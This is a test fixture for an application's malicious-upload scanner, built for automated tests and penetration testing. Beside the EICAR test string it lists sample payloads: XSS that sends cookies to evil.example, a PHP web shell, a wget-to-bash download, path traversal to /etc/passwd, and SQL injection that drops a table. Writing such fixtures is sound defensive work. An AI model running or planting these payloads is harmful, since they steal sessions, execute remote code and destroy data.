This file exists to exercise the application's malicious-file-upload
prevention (ams/core/file_security.py) — both in automated tests and for
manual VAPT verification through the actual upload UI. It deliberately
contains recognizable malicious markers; it is not a real virus or exploit.

EICAR standard antivirus test string (industry-standard way to verify
anti-malware wiring without needing a live virus sample):
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Script injection markers:
<script>alert('xss')</script>
<iframe src="javascript:alert(1)"></iframe>
<img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">

Server-side code execution markers:
<?php system($_GET['cmd']); ?>
eval(base64_decode($_POST['payload']))

OS command injection markers:
; powershell -enc <base64>
$(wget http://evil.example/shell.sh -O- | /bin/bash)

Path traversal marker:
../../../../etc/passwd

SQL injection marker:
' UNION SELECT username, password FROM users; DROP TABLE users; --
